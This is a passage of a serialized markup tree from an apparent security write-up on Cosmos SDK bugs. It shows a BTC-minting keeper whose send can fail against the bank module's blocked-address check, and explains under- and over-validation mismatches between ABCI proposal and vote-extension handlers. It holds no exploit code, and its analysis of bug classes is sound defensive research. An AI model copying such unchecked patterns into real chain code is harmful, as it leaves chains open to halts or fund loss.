style":220},[83145],{"type":31,"value":547},{"type":25,"tag":201,"props":83147,"children":83148},{"class":203,"line":608},[83149,83154,83158,83162,83167],{"type":25,"tag":201,"props":83150,"children":83151},{"style":246},[83152],{"type":31,"value":83153},"    events",{"type":25,"tag":201,"props":83155,"children":83156},{"style":4925},[83157],{"type":31,"value":79259},{"type":25,"tag":201,"props":83159,"children":83160},{"style":220},[83161],{"type":31,"value":80},{"type":25,"tag":201,"props":83163,"children":83164},{"style":4925},[83165],{"type":31,"value":83166},"AssetsLockedEvents",{"type":25,"tag":201,"props":83168,"children":83169},{"style":220},[83170],{"type":31,"value":547},{"type":25,"tag":201,"props":83172,"children":83173},{"class":203,"line":617},[83174,83178,83182],{"type":25,"tag":201,"props":83175,"children":83176},{"style":220},[83177],{"type":31,"value":385},{"type":25,"tag":201,"props":83179,"children":83180},{"style":4925},[83181],{"type":31,"value":293},{"type":25,"tag":201,"props":83183,"children":83184},{"style":220},[83185],{"type":31,"value":327},{"type":25,"tag":201,"props":83187,"children":83188},{"class":203,"line":625},[83189],{"type":25,"tag":201,"props":83190,"children":83191},{"style":261},[83192],{"type":31,"value":21836},{"type":25,"tag":201,"props":83194,"children":83195},{"class":203,"line":642},[83196,83200,83204,83208,83213,83217,83221,83226],{"type":25,"tag":201,"props":83197,"children":83198},{"style":230},[83199],{"type":31,"value":4539},{"type":25,"tag":201,"props":83201,"children":83202},{"style":246},[83203],{"type":31,"value":4544},{"type":25,"tag":201,"props":83205,"children":83206},{"style":220},[83207],{"type":31,"value":919},{"type":25,"tag":201,"props":83209,"children":83210},{"style":246},[83211],{"type":31,"value":83212},"event",{"type":25,"tag":201,"props":83214,"children":83215},{"style":261},[83216],{"type":31,"value":77500},{"type":25,"tag":201,"props":83218,"children":83219},{"style":230},[83220],{"type":31,"value":78483},{"type":25,"tag":201,"props":83222,"children":83223},{"style":246},[83224],{"type":31,"value":83225}," events",{"type":25,"tag":201,"props":83227,"children":83228},{"style":220},[83229],{"type":31,"value":327},{"type":25,"tag":201,"props":83231,"children":83232},{"class":203,"line":659},[83233,83238,83242,83246,83250,83254,83258,83263,83267,83271,83275,83280],{"type":25,"tag":201,"props":83234,"children":83235},{"style":246},[83236],{"type":31,"value":83237},"        recipient",{"type":25,"tag":201,"props":83239,"children":83240},{"style":220},[83241],{"type":31,"value":919},{"type":25,"tag":201,"props":83243,"children":83244},{"style":246},[83245],{"type":31,"value":49497},{"type":25,"tag":201,"props":83247,"children":83248},{"style":261},[83249],{"type":31,"value":77500},{"type":25,"tag":201,"props":83251,"children":83252},{"style":246},[83253],{"type":31,"value":79725},{"type":25,"tag":201,"props":83255,"children":83256},{"style":220},[83257],{"type":31,"value":80},{"type":25,"tag":201,"props":83259,"children":83260},{"style":214},[83261],{"type":31,"value":83262},"AccAddressFromBech32",{"type":25,"tag":201,"props":83264,"children":83265},{"style":220},[83266],{"type":31,"value":298},{"type":25,"tag":201,"props":83268,"children":83269},{"style":246},[83270],{"type":31,"value":83212},{"type":25,"tag":201,"props":83272,"children":83273},{"style":220},[83274],{"type":31,"value":80},{"type":25,"tag":201,"props":83276,"children":83277},{"style":246},[83278],{"type":31,"value":83279},"Recipient",{"type":25,"tag":201,"props":83281,"children":83282},{"style":220},[83283],{"type":31,"value":4666},{"type":25,"tag":201,"props":83285,"children":83286},{"class":203,"line":667},[83287,83291,83295,83299,83303],{"type":25,"tag":201,"props":83288,"children":83289},{"style":230},[83290],{"type":31,"value":4779},{"type":25,"tag":201,"props":83292,"children":83293},{"style":246},[83294],{"type":31,"value":49598},{"type":25,"tag":201,"props":83296,"children":83297},{"style":261},[83298],{"type":31,"value":65467},{"type":25,"tag":201,"props":83300,"children":83301},{"style":208},[83302],{"type":31,"value":83002},{"type":25,"tag":201,"props":83304,"children":83305},{"style":220},[83306],{"type":31,"value":327},{"type":25,"tag":201,"props":83308,"children":83309},{"class":203,"line":676},[83310,83314,83319,83323,83327,83331,83336,83340,83344],{"type":25,"tag":201,"props":83311,"children":83312},{"style":230},[83313],{"type":31,"value":80160},{"type":25,"tag":201,"props":83315,"children":83316},{"style":246},[83317],{"type":31,"value":83318}," fmt",{"type":25,"tag":201,"props":83320,"children":83321},{"style":220},[83322],{"type":31,"value":80},{"type":25,"tag":201,"props":83324,"children":83325},{"style":214},[83326],{"type":31,"value":83035},{"type":25,"tag":201,"props":83328,"children":83329},{"style":220},[83330],{"type":31,"value":298},{"type":25,"tag":201,"props":83332,"children":83333},{"style":267},[83334],{"type":31,"value":83335},"\"failed to parse recipient address: %w\"",{"type":25,"tag":201,"props":83337,"children":83338},{"style":220},[83339],{"type":31,"value":919},{"type":25,"tag":201,"props":83341,"children":83342},{"style":246},[83343],{"type":31,"value":49497},{"type":25,"tag":201,"props":83345,"children":83346},{"style":220},[83347],{"type":31,"value":4666},{"type":25,"tag":201,"props":83349,"children":83350},{"class":203,"line":694},[83351],{"type":25,"tag":201,"props":83352,"children":83353},{"style":220},[83354],{"type":31,"value":4853},{"type":25,"tag":201,"props":83356,"children":83357},{"class":203,"line":707},[83358],{"type":25,"tag":201,"props":83359,"children":83360},{"emptyLinePlaceholder":17},[83361],{"type":31,"value":496},{"type":25,"tag":201,"props":83363,"children":83364},{"class":203,"line":715},[83365,83369,83374,83378,83383,83387,83391,83395,83400,83404,83409],{"type":25,"tag":201,"props":83366,"children":83367},{"style":230},[83368],{"type":31,"value":4779},{"type":25,"tag":201,"props":83370,"children":83371},{"style":246},[83372],{"type":31,"value":83373}," bytes",{"type":25,"tag":201,"props":83375,"children":83376},{"style":220},[83377],{"type":31,"value":80},{"type":25,"tag":201,"props":83379,"children":83380},{"style":214},[83381],{"type":31,"value":83382},"Equal",{"type":25,"tag":201,"props":83384,"children":83385},{"style":220},[83386],{"type":31,"value":298},{"type":25,"tag":201,"props":83388,"children":83389},{"style":246},[83390],{"type":31,"value":83212},{"type":25,"tag":201,"props":83392,"children":83393},{"style":220},[83394],{"type":31,"value":80},{"type":25,"tag":201,"props":83396,"children":83397},{"style":214},[83398],{"type":31,"value":83399},"TokenBytes",{"type":25,"tag":201,"props":83401,"children":83402},{"style":220},[83403],{"type":31,"value":19873},{"type":25,"tag":201,"props":83405,"children":83406},{"style":246},[83407],{"type":31,"value":83408},"sourceBTCToken",{"type":25,"tag":201,"props":83410,"children":83411},{"style":220},[83412],{"type":31,"value":275},{"type":25,"tag":201,"props":83414,"children":83415},{"class":203,"line":732},[83416,83421,83425,83429,83433,83438,83442,83446,83450,83454,83458,83462,83466,83470],{"type":25,"tag":201,"props":83417,"children":83418},{"style":246},[83419],{"type":31,"value":83420},"            err",{"type":25,"tag":201,"props":83422,"children":83423},{"style":261},[83424],{"type":31,"value":413},{"type":25,"tag":201,"props":83426,"children":83427},{"style":246},[83428],{"type":31,"value":82340},{"type":25,"tag":201,"props":83430,"children":83431},{"style":220},[83432],{"type":31,"value":80},{"type":25,"tag":201,"props":83434,"children":83435},{"style":214},[83436],{"type":31,"value":83437},"mintBTC",{"type":25,"tag":201,"props":83439,"children":83440},{"style":220},[83441],{"type":31,"value":298},{"type":25,"tag":201,"props":83443,"children":83444},{"style":246},[83445],{"type":31,"value":21777},{"type":25,"tag":201,"props":83447,"children":83448},{"style":220},[83449],{"type":31,"value":919},{"type":25,"tag":201,"props":83451,"children":83452},{"style":246},[83453],{"type":31,"value":82735},{"type":25,"tag":201,"props":83455,"children":83456},{"style":220},[83457],{"type":31,"value":919},{"type":25,"tag":201,"props":83459,"children":83460},{"style":246},[83461],{"type":31,"value":83212},{"type":25,"tag":201,"props":83463,"children":83464},{"style":220},[83465],{"type":31,"value":80},{"type":25,"tag":201,"props":83467,"children":83468},{"style":246},[83469],{"type":31,"value":80139},{"type":25,"tag":201,"props":83471,"children":83472},{"style":220},[83473],{"type":31,"value":4666},{"type":25,"tag":201,"props":83475,"children":83476},{"class":203,"line":749},[83477,83481,83485,83489,83493],{"type":25,"tag":201,"props":83478,"children":83479},{"style":230},[83480],{"type":31,"value":59880},{"type":25,"tag":201,"props":83482,"children":83483},{"style":246},[83484],{"type":31,"value":49598},{"type":25,"tag":201,"props":83486,"children":83487},{"style":261},[83488],{"type":31,"value":65467},{"type":25,"tag":201,"props":83490,"children":83491},{"style":208},[83492],{"type":31,"value":83002},{"type":25,"tag":201,"props":83494,"children":83495},{"style":220},[83496],{"type":31,"value":327},{"type":25,"tag":201,"props":83498,"children":83499},{"class":203,"line":757},[83500,83504,83508,83512,83516],{"type":25,"tag":201,"props":83501,"children":83502},{"style":230},[83503],{"type":31,"value":61808},{"type":25,"tag":201,"props":83505,"children":83506},{"style":246},[83507],{"type":31,"value":83318},{"type":25,"tag":201,"props":83509,"children":83510},{"style":220},[83511],{"type":31,"value":80},{"type":25,"tag":201,"props":83513,"children":83514},{"style":214},[83515],{"type":31,"value":83035},{"type":25,"tag":201,"props":83517,"children":83518},{"style":220},[83519],{"type":31,"value":4970},{"type":25,"tag":201,"props":83521,"children":83522},{"class":203,"line":765},[83523,83528],{"type":25,"tag":201,"props":83524,"children":83525},{"style":267},[83526],{"type":31,"value":83527},"                    \"failed to mint BTC for event %v: %w\"",{"type":25,"tag":201,"props":83529,"children":83530},{"style":220},[83531],{"type":31,"value":547},{"type":25,"tag":201,"props":83533,"children":83534},{"class":203,"line":783},[83535,83540,83544,83549],{"type":25,"tag":201,"props":83536,"children":83537},{"style":246},[83538],{"type":31,"value":83539},"                    event",{"type":25,"tag":201,"props":83541,"children":83542},{"style":220},[83543],{"type":31,"value":80},{"type":25,"tag":201,"props":83545,"children":83546},{"style":246},[83547],{"type":31,"value":83548},"Sequence",{"type":25,"tag":201,"props":83550,"children":83551},{"style":220},[83552],{"type":31,"value":547},{"type":25,"tag":201,"props":83554,"children":83555},{"class":203,"line":792},[83556,83561],{"type":25,"tag":201,"props":83557,"children":83558},{"style":246},[83559],{"type":31,"value":83560},"                    err",{"type":25,"tag":201,"props":83562,"children":83563},{"style":220},[83564],{"type":31,"value":547},{"type":25,"tag":201,"props":83566,"children":83567},{"class":203,"line":801},[83568],{"type":25,"tag":201,"props":83569,"children":83570},{"style":220},[83571],{"type":31,"value":83572},"                )\n",{"type":25,"tag":201,"props":83574,"children":83575},{"class":203,"line":809},[83576],{"type":25,"tag":201,"props":83577,"children":83578},{"style":220},[83579],{"type":31,"value":59964},{"type":25,"tag":201,"props":83581,"children":83582},{"class":203,"line":857},[83583,83587,83591],{"type":25,"tag":201,"props":83584,"children":83585},{"style":220},[83586],{"type":31,"value":4817},{"type":25,"tag":201,"props":83588,"children":83589},{"style":230},[83590],{"type":31,"value":322},{"type":25,"tag":201,"props":83592,"children":83593},{"style":220},[83594],{"type":31,"value":327},{"type":25,"tag":201,"props":83596,"children":83597},{"class":203,"line":865},[83598],{"type":25,"tag":201,"props":83599,"children":83600},{"style":261},[83601],{"type":31,"value":83602},"            ...\n",{"type":25,"tag":201,"props":83604,"children":83605},{"class":203,"line":931},[83606],{"type":25,"tag":201,"props":83607,"children":83608},{"style":220},[83609],{"type":31,"value":4853},{"type":25,"tag":201,"props":83611,"children":83612},{"class":203,"line":939},[83613],{"type":25,"tag":201,"props":83614,"children":83615},{"style":220},[83616],{"type":31,"value":4861},{"type":25,"tag":201,"props":83618,"children":83619},{"class":203,"line":960},[83620],{"type":25,"tag":201,"props":83621,"children":83622},{"style":261},[83623],{"type":31,"value":21836},{"type":25,"tag":201,"props":83625,"children":83626},{"class":203,"line":977},[83627],{"type":25,"tag":201,"props":83628,"children":83629},{"style":220},[83630],{"type":31,"value":1187},{"type":25,"tag":201,"props":83632,"children":83633},{"class":203,"line":994},[83634],{"type":25,"tag":201,"props":83635,"children":83636},{"emptyLinePlaceholder":17},[83637],{"type":31,"value":496},{"type":25,"tag":201,"props":83639,"children":83640},{"class":203,"line":1016},[83641,83645,83649,83653,83657,83661,83665],{"type":25,"tag":201,"props":83642,"children":83643},{"style":208},[83644],{"type":31,"value":77384},{"type":25,"tag":201,"props":83646,"children":83647},{"style":220},[83648],{"type":31,"value":238},{"type":25,"tag":201,"props":83650,"children":83651},{"style":246},[83652],{"type":31,"value":82212},{"type":25,"tag":201,"props":83654,"children":83655},{"style":4925},[83656],{"type":31,"value":81029},{"type":25,"tag":201,"props":83658,"children":83659},{"style":220},[83660],{"type":31,"value":385},{"type":25,"tag":201,"props":83662,"children":83663},{"style":214},[83664],{"type":31,"value":83437},{"type":25,"tag":201,"props":83666,"children":83667},{"style":220},[83668],{"type":31,"value":4970},{"type":25,"tag":201,"props":83670,"children":83671},{"class":203,"line":1089},[83672,83676,83680,83684,83688],{"type":25,"tag":201,"props":83673,"children":83674},{"style":246},[83675],{"type":31,"value":21720},{"type":25,"tag":201,"props":83677,"children":83678},{"style":4925},[83679],{"type":31,"value":79725},{"type":25,"tag":201,"props":83681,"children":83682},{"style":220},[83683],{"type":31,"value":80},{"type":25,"tag":201,"props":83685,"children":83686},{"style":4925},[83687],{"type":31,"value":77433},{"type":25,"tag":201,"props":83689,"children":83690},{"style":220},[83691],{"type":31,"value":547},{"type":25,"tag":201,"props":83693,"children":83694},{"class":203,"line":1107},[83695,83700,83704,83708,83713],{"type":25,"tag":201,"props":83696,"children":83697},{"style":246},[83698],{"type":31,"value":83699},"    recipient",{"type":25,"tag":201,"props":83701,"children":83702},{"style":4925},[83703],{"type":31,"value":79725},{"type":25,"tag":201,"props":83705,"children":83706},{"style":220},[83707],{"type":31,"value":80},{"type":25,"tag":201,"props":83709,"children":83710},{"style":4925},[83711],{"type":31,"value":83712},"AccAddress",{"type":25,"tag":201,"props":83714,"children":83715},{"style":220},[83716],{"type":31,"value":547},{"type":25,"tag":201,"props":83718,"children":83719},{"class":203,"line":1116},[83720,83724,83729,83733,83738],{"type":25,"tag":201,"props":83721,"children":83722},{"style":246},[83723],{"type":31,"value":62662},{"type":25,"tag":201,"props":83725,"children":83726},{"style":4925},[83727],{"type":31,"value":83728}," math",{"type":25,"tag":201,"props":83730,"children":83731},{"style":220},[83732],{"type":31,"value":80},{"type":25,"tag":201,"props":83734,"children":83735},{"style":4925},[83736],{"type":31,"value":83737},"Int",{"type":25,"tag":201,"props":83739,"children":83740},{"style":220},[83741],{"type":31,"value":547},{"type":25,"tag":201,"props":83743,"children":83744},{"class":203,"line":1124},[83745,83749,83753],{"type":25,"tag":201,"props":83746,"children":83747},{"style":220},[83748],{"type":31,"value":385},{"type":25,"tag":201,"props":83750,"children":83751},{"style":4925},[83752],{"type":31,"value":293},{"type":25,"tag":201,"props":83754,"children":83755},{"style":220},[83756],{"type":31,"value":327},{"type":25,"tag":201,"props":83758,"children":83759},{"class":203,"line":1163},[83760],{"type":25,"tag":201,"props":83761,"children":83762},{"style":261},[83763],{"type":31,"value":21836},{"type":25,"tag":201,"props":83765,"children":83766},{"class":203,"line":1172},[83767,83772,83776,83780,83784,83789,83793,83797],{"type":25,"tag":201,"props":83768,"children":83769},{"style":246},[83770],{"type":31,"value":83771},"    err",{"type":25,"tag":201,"props":83773,"children":83774},{"style":261},[83775],{"type":31,"value":413},{"type":25,"tag":201,"props":83777,"children":83778},{"style":246},[83779],{"type":31,"value":82340},{"type":25,"tag":201,"props":83781,"children":83782},{"style":220},[83783],{"type":31,"value":80},{"type":25,"tag":201,"props":83785,"children":83786},{"style":246},[83787],{"type":31,"value":83788},"bankKeeper",{"type":25,"tag":201,"props":83790,"children":83791},{"style":220},[83792],{"type":31,"value":80},{"type":25,"tag":201,"props":83794,"children":83795},{"style":214},[83796],{"type":31,"value":82727},{"type":25,"tag":201,"props":83798,"children":83799},{"style":220},[83800],{"type":31,"value":4970},{"type":25,"tag":201,"props":83802,"children":83803},{"class":203,"line":1181},[83804,83808],{"type":25,"tag":201,"props":83805,"children":83806},{"style":246},[83807],{"type":31,"value":27670},{"type":25,"tag":201,"props":83809,"children":83810},{"style":220},[83811],{"type":31,"value":547},{"type":25,"tag":201,"props":83813,"children":83814},{"class":203,"line":1190},[83815,83820,83824,83829],{"type":25,"tag":201,"props":83816,"children":83817},{"style":246},[83818],{"type":31,"value":83819},"        types",{"type":25,"tag":201,"props":83821,"children":83822},{"style":220},[83823],{"type":31,"value":80},{"type":25,"tag":201,"props":83825,"children":83826},{"style":246},[83827],{"type":31,"value":83828},"ModuleName",{"type":25,"tag":201,"props":83830,"children":83831},{"style":220},[83832],{"type":31,"value":547},{"type":25,"tag":201,"props":83834,"children":83835},{"class":203,"line":1198},[83836,83840],{"type":25,"tag":201,"props":83837,"children":83838},{"style":246},[83839],{"type":31,"value":83237},{"type":25,"tag":201,"props":83841,"children":83842},{"style":220},[83843],{"type":31,"value":547},{"type":25,"tag":201,"props":83845,"children":83846},{"class":203,"line":1220},[83847,83852],{"type":25,"tag":201,"props":83848,"children":83849},{"style":246},[83850],{"type":31,"value":83851},"        coins",{"type":25,"tag":201,"props":83853,"children":83854},{"style":220},[83855],{"type":31,"value":547},{"type":25,"tag":201,"props":83857,"children":83858},{"class":203,"line":82035},[83859],{"type":25,"tag":201,"props":83860,"children":83861},{"style":220},[83862],{"type":31,"value":25405},{"type":25,"tag":201,"props":83864,"children":83865},{"class":203,"line":82048},[83866,83870,83874,83878,83882],{"type":25,"tag":201,"props":83867,"children":83868},{"style":230},[83869],{"type":31,"value":13781},{"type":25,"tag":201,"props":83871,"children":83872},{"style":246},[83873],{"type":31,"value":49598},{"type":25,"tag":201,"props":83875,"children":83876},{"style":261},[83877],{"type":31,"value":65467},{"type":25,"tag":201,"props":83879,"children":83880},{"style":208},[83881],{"type":31,"value":83002},{"type":25,"tag":201,"props":83883,"children":83884},{"style":220},[83885],{"type":31,"value":327},{"type":25,"tag":201,"props":83887,"children":83888},{"class":203,"line":82056},[83889,83893,83897,83901,83905,83909,83914,83918,83922],{"type":25,"tag":201,"props":83890,"children":83891},{"style":230},[83892],{"type":31,"value":17239},{"type":25,"tag":201,"props":83894,"children":83895},{"style":246},[83896],{"type":31,"value":83318},{"type":25,"tag":201,"props":83898,"children":83899},{"style":220},[83900],{"type":31,"value":80},{"type":25,"tag":201,"props":83902,"children":83903},{"style":214},[83904],{"type":31,"value":83035},{"type":25,"tag":201,"props":83906,"children":83907},{"style":220},[83908],{"type":31,"value":298},{"type":25,"tag":201,"props":83910,"children":83911},{"style":267},[83912],{"type":31,"value":83913},"\"failed to send coins: %w\"",{"type":25,"tag":201,"props":83915,"children":83916},{"style":220},[83917],{"type":31,"value":919},{"type":25,"tag":201,"props":83919,"children":83920},{"style":246},[83921],{"type":31,"value":49497},{"type":25,"tag":201,"props":83923,"children":83924},{"style":220},[83925],{"type":31,"value":4666},{"type":25,"tag":201,"props":83927,"children":83928},{"class":203,"line":82064},[83929],{"type":25,"tag":201,"props":83930,"children":83931},{"style":220},[83932],{"type":31,"value":4861},{"type":25,"tag":201,"props":83934,"children":83935},{"class":203,"line":82072},[83936],{"type":25,"tag":201,"props":83937,"children":83938},{"style":261},[83939],{"type":31,"value":21836},{"type":25,"tag":201,"props":83941,"children":83942},{"class":203,"line":82112},[83943],{"type":25,"tag":201,"props":83944,"children":83945},{"style":220},[83946],{"type":31,"value":1187},{"type":25,"tag":191,"props":83948,"children":83950},{"code":83949,"language":77248,"meta":7,"className":77249,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n  return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[83951],{"type":25,"tag":115,"props":83952,"children":83953},{"__ignoreMap":7},[83954,83986,84065,84080,84088,84119,84177,84184,84191],{"type":25,"tag":201,"props":83955,"children":83956},{"class":203,"line":204},[83957,83961,83965,83969,83974,83978,83982],{"type":25,"tag":201,"props":83958,"children":83959},{"style":208},[83960],{"type":31,"value":77384},{"type":25,"tag":201,"props":83962,"children":83963},{"style":220},[83964],{"type":31,"value":238},{"type":25,"tag":201,"props":83966,"children":83967},{"style":246},[83968],{"type":31,"value":82212},{"type":25,"tag":201,"props":83970,"children":83971},{"style":4925},[83972],{"type":31,"value":83973},"BaseKeeper",{"type":25,"tag":201,"props":83975,"children":83976},{"style":220},[83977],{"type":31,"value":385},{"type":25,"tag":201,"props":83979,"children":83980},{"style":214},[83981],{"type":31,"value":82727},{"type":25,"tag":201,"props":83983,"children":83984},{"style":220},[83985],{"type":31,"value":4970},{"type":25,"tag":201,"props":83987,"children":83988},{"class":203,"line":226},[83989,83993,83997,84001,84005,84009,84014,84018,84022,84027,84031,84035,84039,84043,84048,84052,84056,84061],{"type":25,"tag":201,"props":83990,"children":83991},{"style":246},[83992],{"type":31,"value":27327},{"type":25,"tag":201,"props":83994,"children":83995},{"style":4925},[83996],{"type":31,"value":77424},{"type":25,"tag":201,"props":83998,"children":83999},{"style":220},[84000],{"type":31,"value":80},{"type":25,"tag":201,"props":84002,"children":84003},{"style":4925},[84004],{"type":31,"value":77433},{"type":25,"tag":201,"props":84006,"children":84007},{"style":220},[84008],{"type":31,"value":919},{"type":25,"tag":201,"props":84010,"children":84011},{"style":246},[84012],{"type":31,"value":84013},"senderModule",{"type":25,"tag":201,"props":84015,"children":84016},{"style":4925},[84017],{"type":31,"value":37099},{"type":25,"tag":201,"props":84019,"children":84020},{"style":220},[84021],{"type":31,"value":919},{"type":25,"tag":201,"props":84023,"children":84024},{"style":246},[84025],{"type":31,"value":84026},"recipientAddr",{"type":25,"tag":201,"props":84028,"children":84029},{"style":4925},[84030],{"type":31,"value":79725},{"type":25,"tag":201,"props":84032,"children":84033},{"style":220},[84034],{"type":31,"value":80},{"type":25,"tag":201,"props":84036,"children":84037},{"style":4925},[84038],{"type":31,"value":83712},{"type":25,"tag":201,"props":84040,"children":84041},{"style":220},[84042],{"type":31,"value":919},{"type":25,"tag":201,"props":84044,"children":84045},{"style":246},[84046],{"type":31,"value":84047},"amt",{"type":25,"tag":201,"props":84049,"children":84050},{"style":4925},[84051],{"type":31,"value":79725},{"type":25,"tag":201,"props":84053,"children":84054},{"style":220},[84055],{"type":31,"value":80},{"type":25,"tag":201,"props":84057,"children":84058},{"style":4925},[84059],{"type":31,"value":84060},"Coins",{"type":25,"tag":201,"props":84062,"children":84063},{"style":220},[84064],{"type":31,"value":547},{"type":25,"tag":201,"props":84066,"children":84067},{"class":203,"line":278},[84068,84072,84076],{"type":25,"tag":201,"props":84069,"children":84070},{"style":220},[84071],{"type":31,"value":385},{"type":25,"tag":201,"props":84073,"children":84074},{"style":4925},[84075],{"type":31,"value":293},{"type":25,"tag":201,"props":84077,"children":84078},{"style":220},[84079],{"type":31,"value":327},{"type":25,"tag":201,"props":84081,"children":84082},{"class":203,"line":311},[84083],{"type":25,"tag":201,"props":84084,"children":84085},{"style":261},[84086],{"type":31,"value":84087}," ...\n",{"type":25,"tag":201,"props":84089,"children":84090},{"class":203,"line":330},[84091,84095,84099,84103,84107,84111,84115],{"type":25,"tag":201,"props":84092,"children":84093},{"style":230},[84094],{"type":31,"value":17283},{"type":25,"tag":201,"props":84096,"children":84097},{"style":246},[84098],{"type":31,"value":82340},{"type":25,"tag":201,"props":84100,"children":84101},{"style":220},[84102],{"type":31,"value":80},{"type":25,"tag":201,"props":84104,"children":84105},{"style":214},[84106],{"type":31,"value":82743},{"type":25,"tag":201,"props":84108,"children":84109},{"style":220},[84110],{"type":31,"value":298},{"type":25,"tag":201,"props":84112,"children":84113},{"style":246},[84114],{"type":31,"value":84026},{"type":25,"tag":201,"props":84116,"children":84117},{"style":220},[84118],{"type":31,"value":275},{"type":25,"tag":201,"props":84120,"children":84121},{"class":203,"line":397},[84122,84126,84131,84135,84139,84143,84147,84151,84156,84160,84165,84169,84173],{"type":25,"tag":201,"props":84123,"children":84124},{"style":230},[84125],{"type":31,"value":40269},{"type":25,"tag":201,"props":84127,"children":84128},{"style":246},[84129],{"type":31,"value":84130}," errorsmod",{"type":25,"tag":201,"props":84132,"children":84133},{"style":220},[84134],{"type":31,"value":80},{"type":25,"tag":201,"props":84136,"children":84137},{"style":214},[84138],{"type":31,"value":81994},{"type":25,"tag":201,"props":84140,"children":84141},{"style":220},[84142],{"type":31,"value":298},{"type":25,"tag":201,"props":84144,"children":84145},{"style":246},[84146],{"type":31,"value":81656},{"type":25,"tag":201,"props":84148,"children":84149},{"style":220},[84150],{"type":31,"value":80},{"type":25,"tag":201,"props":84152,"children":84153},{"style":246},[84154],{"type":31,"value":84155},"ErrUnauthorized",{"type":25,"tag":201,"props":84157,"children":84158},{"style":220},[84159],{"type":31,"value":919},{"type":25,"tag":201,"props":84161,"children":84162},{"style":267},[84163],{"type":31,"value":84164},"\"%s is not allowed to receive funds\"",{"type":25,"tag":201,"props":84166,"children":84167},{"style":220},[84168],{"type":31,"value":919},{"type":25,"tag":201,"props":84170,"children":84171},{"style":246},[84172],{"type":31,"value":84026},{"type":25,"tag":201,"props":84174,"children":84175},{"style":220},[84176],{"type":31,"value":4666},{"type":25,"tag":201,"props":84178,"children":84179},{"class":203,"line":437},[84180],{"type":25,"tag":201,"props":84181,"children":84182},{"style":220},[84183],{"type":31,"value":11100},{"type":25,"tag":201,"props":84185,"children":84186},{"class":203,"line":464},[84187],{"type":25,"tag":201,"props":84188,"children":84189},{"style":261},[84190],{"type":31,"value":84087},{"type":25,"tag":201,"props":84192,"children":84193},{"class":203,"line":490},[84194],{"type":25,"tag":201,"props":84195,"children":84196},{"style":220},[84197],{"type":31,"value":1187},{"type":25,"tag":34,"props":84199,"children":84200},{},[84201,84203,84210],{"type":31,"value":84202},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":25,"tag":71,"props":84204,"children":84207},{"href":84205,"rel":84206},"https://hackerone.com/reports/3018307",[75],[84208],{"type":31,"value":84209},"improper decimal handling in the group module",{"type":31,"value":80},{"type":25,"tag":26,"props":84212,"children":84214},{"id":84213},"same-same-but-different",[84215],{"type":31,"value":84216},"Same, Same... But Different",{"type":25,"tag":34,"props":84218,"children":84219},{},[84220,84222,84228,84229,84235,84236,84242,84243,84249],{"type":31,"value":84221},"Cosmos exposes several consensus-level interfaces, such as ",{"type":25,"tag":115,"props":84223,"children":84225},{"className":84224},[],[84226],{"type":31,"value":84227},"PrepareProposal",{"type":31,"value":919},{"type":25,"tag":115,"props":84230,"children":84232},{"className":84231},[],[84233],{"type":31,"value":84234},"ProcessProposal",{"type":31,"value":919},{"type":25,"tag":115,"props":84237,"children":84239},{"className":84238},[],[84240],{"type":31,"value":84241},"ExtendVote",{"type":31,"value":7996},{"type":25,"tag":115,"props":84244,"children":84246},{"className":84245},[],[84247],{"type":31,"value":84248},"VerifyVoteExtension",{"type":31,"value":84250},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":25,"tag":34,"props":84252,"children":84253},{},[84254],{"type":31,"value":84255},"Two of the best-known attack surfaces are",{"type":25,"tag":6944,"props":84257,"children":84258},{},[84259,84288],{"type":25,"tag":6948,"props":84260,"children":84261},{},[84262,84267,84268,84273,84275,84280,84281,84286],{"type":25,"tag":115,"props":84263,"children":84265},{"className":84264},[],[84266],{"type":31,"value":84227},{"type":31,"value":238},{"type":25,"tag":115,"props":84269,"children":84271},{"className":84270},[],[84272],{"type":31,"value":84241},{"type":31,"value":84274},") outputs being rejected due to ",{"type":25,"tag":115,"props":84276,"children":84278},{"className":84277},[],[84279],{"type":31,"value":84234},{"type":31,"value":238},{"type":25,"tag":115,"props":84282,"children":84284},{"className":84283},[],[84285],{"type":31,"value":84248},{"type":31,"value":84287},") over-validating, resulting in liveness failures.",{"type":25,"tag":6948,"props":84289,"children":84290},{},[84291,84293,84298,84299,84304,84306,84311,84312,84317],{"type":31,"value":84292},"Malicious proposals and vote extensions not created through the ",{"type":25,"tag":115,"props":84294,"children":84296},{"className":84295},[],[84297],{"type":31,"value":84227},{"type":31,"value":238},{"type":25,"tag":115,"props":84300,"children":84302},{"className":84301},[],[84303],{"type":31,"value":84241},{"type":31,"value":84305},") are accepted due to ",{"type":25,"tag":115,"props":84307,"children":84309},{"className":84308},[],[84310],{"type":31,"value":84234},{"type":31,"value":238},{"type":25,"tag":115,"props":84313,"children":84315},{"className":84314},[],[84316],{"type":31,"value":84248},{"type":31,"value":84318},") under-validating.",{"type":25,"tag":34,"props":84320,"children":84321},{},[84322],{"type":31,"value":84323},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":25,"tag":34,"props":84325,"children":84326},{},[84327,84329,84335,84337,84342],{"type":31,"value":84328},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":25,"tag":115,"props":84330,"children":84332},{"className":84331},[],[84333],{"type":31,"value":84334},"VoteExtensions",{"type":31,"value":84336}," within ",{"type":25,"tag":115,"props":84338,"children":84340},{"className":84339},[],[84341],{"type":31,"value":84227},{"type":31,"value":84343},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":25,"tag":34,"props":84345,"children":84346},{},[84347,84349,84354,84356,84361],{"type":31,"value":84348},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":25,"tag":115,"props":84350,"children":84352},{"className":84351},[],[84353],{"type":31,"value":84241},{"type":31,"value":84355}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":25,"tag":115,"props":84357,"children":84359},{"className":84358},[],[84360],{"type":31,"value":84248},{"type":31,"value":84362},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":25,"tag":34,"props":84364,"children":84365},{},[84366,84368,84373],{"type":31,"value":84367},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the 